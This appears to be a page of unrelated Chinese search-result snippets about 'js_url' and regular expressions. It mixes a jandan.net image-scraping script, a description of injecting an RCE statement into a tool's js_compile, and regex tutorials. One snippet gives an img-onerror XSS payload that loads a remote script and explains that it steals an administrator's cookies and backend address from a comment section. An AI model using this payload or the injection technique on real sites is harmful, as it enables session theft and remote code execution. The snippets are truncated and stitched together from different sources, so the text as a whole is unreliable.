\d+\.js)">', html)[-1] _r = get_r(js_url) soup = BeautifulSoup(html, 'lxml') tags...soup.select('.img-hash') for tag in tags: img_hash = tag.text 获取 js 中关键字符串 而获取 js 地址的方式是使用的正则表达式...: js_url = 'http:' + re.findall('<script src="(//cdn.jandan.net/static/min/[\w\d]+\....得到 js 地址之后需要请求,然后找到关键字符串,具体可以写成一个函数: def get_r(<em>js_url</em>): '''获取关键字符串''' js = requests.get(<em>js_url</em>...): '''获取关键字符串''' js = requests.get(<em>js_url</em>).text _r = re.findall('c=[\w\d]+\(e,"(.*?)"
首先从jsCode中正则匹配出被[]包裹着的第一个内容,作为js_compile函数的参数,然后jsCode本身再被插入进去赋值给作为js_url,看起来工具的作者是希望能够动态解析js以获取url地址...接着加入RCE语句,最后为了对付后面的.js和[s],直接用//注释掉 由于后面拼接的return js_url}前面有个\n,因此注释对其不起作用,因此我们不需要自己return一个值然后用大括号闭合...发现nameList就是匹配了两个正则表达式之后加进来的,因此随便加一个能让某个表达式匹配到内容的字符串就可以了,这里我加的是{114514:,会让第一个正则表达式匹配到114514,并且加入到nameList
text soup = BeautifulSoup(html, 'lxml') # 这个地方必须使用[-1]来提取js地址,因为有的页面有两个js地址,其中第一个是被注释了不用的 js_url...\d+\.js)">', html)[-1] _r = get_r('http:{}'.format(js_url)) tags = soup.select('.img-hash...[f] = tmp t += chr(k[g] ^ (h[(h[p] + h[f]) % 256])) t = t[26:] return t def get_r(js_url...): '''获取关键字符串''' js = requests.get(js_url).text # 之前用的下面注释掉的这个,后来煎蛋改了函数名称,少个f_ # _r =...\d+\.js)">', html)[-1] _r = get_r('http:{}'.format(js_url)) tags = soup.select('.img-hash
字符匹配 字符 说明 备注 . 匹配任意单个字符 [ ] 匹配指定范围内的任意单个字符 [^] 匹配指定范围外的任意单个字符 [:alnum:] 匹配任意...
一、JavaScript正则表达式 正则表达式(英语:Regular Expression,在代码中常简写为regex、regexp或RE)使用单个字符串来描述、匹配一系列符合某个句法规则的字符串搜索模式...什么是正则表达式? 正则表达式是由一个字符序列形成的搜索模式。 当你在文本中搜索数据时,你可以用搜索模式来描述你要查询的内容。 正则表达式可以是一个简单的字符,或一个更复杂的模式。...正则表达式可用于所有文本搜索和文本替换的操作。 语法 /正则表达式主体/修饰符(可选) 其中修饰符是可选的。...search() 方法使用正则表达式 实例:使用正则表达式搜索 “Runoob” 字符串,且不区分大小写: var str = “Visit Runoob!”...正则表达式参数可用在以上方法中 (替代字符串参数)。正则表达式使得搜索功能更加强大(如实例中不区分大小写)。
字符匹配 字符 说明 备注 . 匹配任意单个字符 [ ] 匹配指定范围内的任意单个字符 [^] 匹配指定范围外的任意单个字符 [:alnum:] 匹配任...
你可以这样 也可以这样 各种姿势,各种插,只要鞥运行我们的js就OK。...比如我们在网站的留言区输入当管理员进后台浏览留言的时候,就会触发,然后管理员的cookies和后台地址还有管理员浏览器版本等等你都可以获取到了
<img src=1 onerror=appendChild(createElement('script')).src='<em>js_url</em>' /
你可以这样 也可以这样 各种姿势,各种插,只要鞥运行我们的js就OK。...比如我们在网站的留言区输入下面的代码: 当管理员进后台浏览留言的时候,就会触发,然后管理员的cookies和后台地址还有管理员浏览器版本等等你都可以获取到了
[x|X][m|M][l|L]$ 26 中文字符的正则表达式:[\u4e00-\u9fa5] 27 双字节字符:[^\x00-\xff] (包括汉字在内,可以用来计算字符串的长度(一个双字节字符长度计2...,ASCII字符计1)) 28 空白行的正则表达式:\n\s*\r (可以用来删除空白行) 29 HTML标记的正则表达式: (网上流传的版本太糟糕,上面这个也仅仅能部分,对于复杂的嵌套标记依旧无能为力) 30 首尾空白字符的正则表达式:^\s*|\s*$或(^\s*)|(\s*$) (可以用来删除行首行尾的空白字符(包括空格
{3}前面的数字出现3次,这是精确匹配 {3,}表示前面的数字最少出现3次 {,3}表示前面的数字最多出现3次 匹配包含制表符的行
正则表达式的应用原理 正则表达式应用到目标字符串的过程大致分为下面几步: (1)正则表达式编译:检查正则表达式的语法正确性,如果正确,就将其编译为内部形式(internal form)...(3)元素检测:引擎开始测试正则表达式和文本,依次测试正则表达式的各个元素(component)。...调用“应用此表达式”函数后,作为参数的正则表达式模式会与保存的正则表达式相比较,如果存在于缓存中,就使用缓存的版本。如果没有,就直接编译这个正则表达式,将其存入缓存。...许多人不关心正则表达式的效率,他们对正则表达式怀着一种恐惧心里,只希望完成任务而不关心如何完成。...拆分正则表达式 有时候,应用多个小的正则表达式的速度比一个大正则表达式要快得多。
一、概述 正则表达式用于文本内容的查找和替换。 正则表达式内置于其它语言或者软件产品中,它本身不是一种语言或者软件。 正则表达式在线工具 二、匹配单个字符 ....正则表达式一般是区分大小写的,但是也有些实现是不区分。 正则表达式 nam. 匹配结果 My name is Zheng....正则表达式 (19|20)\d{2} 匹配结果 1900 2010 1020 应用 匹配 IP 地址。...正则表达式 \1 将回溯引用子表达式 (h[1-6]) 匹配的内容,也就是说必须和子表达式匹配的内容一致。 \w*?...文本 313-555-1234 查找正则表达式 (\d{3})(-)(\d{3})(-)(\d{4}) 替换正则表达式 在第一个子表达式查找的结果加上 () ,然后加一个空格,在第三个和第五个字表达式查找的结果中间加上
1.正则表达式 1.1正则表达式的介绍 是什么:是表达式,描述一种对数据过滤的一种逻辑。...res.group() Out[8]: 'python' In [9]: re.match(r"python","python2").group() Out[9]: 'python' 前面的字符串就是正则表达式
1.正则表达式规则 任意一个字符表示匹配任意对应的字符,如a匹配a,7匹配7,-匹配-。 2. []代表匹配中括号中其中任一个字符,如[abc]匹配a或b或c。 3....XY表示X后面跟着Y,这里X和Y分别是正则表达式的一部分。 19.
什么是正则表达式? 正则表达式,全称“Regular Expression”,在代码中常简写为regex、regexp或RE。...正则表达式,就是用某种模式去匹配一类字符串的公式 ---- 如何定义正则表达式方法? 显示定义 a. 所谓的显示定义就是看上去就明白是一个正则表达式。显示定义必须使用new关键词定义. ...var 变量名=new RegExp("这里输入正则表达式内容"); 正则表达式规则引号引用 2.隐式定义 a. 所谓的隐式定义就是看上去没有明确的正则表达式定义. b. ...var 变量名=/这里写入正则表达式内容/gi c. ...、、/、^、{、}、| 分组符 正则表达式中使用()进行分组.
[x|X][m|M][l|L]$ 中文字符的正则表达式:[\u4e00-\u9fa5] 双字节字符:[^\x00-\xff] (包括汉字在内,可以用来计算字符串的长度(一个双字节字符长度计2,ASCII...字符计1)) 空白行的正则表达式:\n\s*\r (可以用来删除空白行) HTML标记的正则表达式: (网上流传的版本太糟糕,上面这个也仅仅能部分,对于复杂的嵌套标记依旧无能为力) 首尾空白字符的正则表达式:^\s*|\s*$或(^\s*)|(\s*$) (可以用来删除行首行尾的空白字符(包括空格
匹配 0 个或 1 个由前面的正则表达式定义的片段,非贪婪方式 - - {n} 精确匹配 n 个前面表达式 - - {n, m} 匹配 n 到 m 次由前面的正则表达式定义的片段,贪婪方式 - - .*
一般来说,一个正则表达式,它是元字符和限定字符的组合。 元字符表示匹配哪种类型的字符,限定符表示匹配多少次。 ?是匹配0次或1次,每次只能匹配一个,所以会单独一个一个的数字去匹配。...$在正则表达式里面表示以什么结尾。 如果在正则表达式里面变成普通的字符,变成不是正则表达式的字符,可以这样表示:\$ ^在正则表达式里面表示以什么开头。...如果在正则表达式里面变成普通的字符,变成不是正则表达式的字符,可以这样表示:\^ ? 2.在线正则表达式测试 ? ? ? ? ? ? ?...# print(res.group(0))#group() 分组 根据你正则表达式里面的括号进行分组。...我就不附上get_data2.py的代码了,本章内容主要了解正则表达式的用法,学会思路就行。 ----
正则式 正则表达式是一个特殊的字符序列,它能帮助你方便的检查一个字符串是否与某种模式匹配。re 模块使 Python 语言拥有全部的正则表达式功能。...phone = "183-3918-9296 # 这是我的电话号码" # 删除字符串中的 Python注释 num = re.sub(r'#.*$', "", phone) # r 代表正则表达式,将在后面介绍具体规则...phone) print("电话号码是:", num) ''' 电话号码是: 183-3918-9296 电话号码是: 18339189296 ''' re.compile compile 函数用于编译正则表达式...,生成一个正则表达式( Pattern )对象。
领取专属 10元无门槛券
手把手带您无忧上云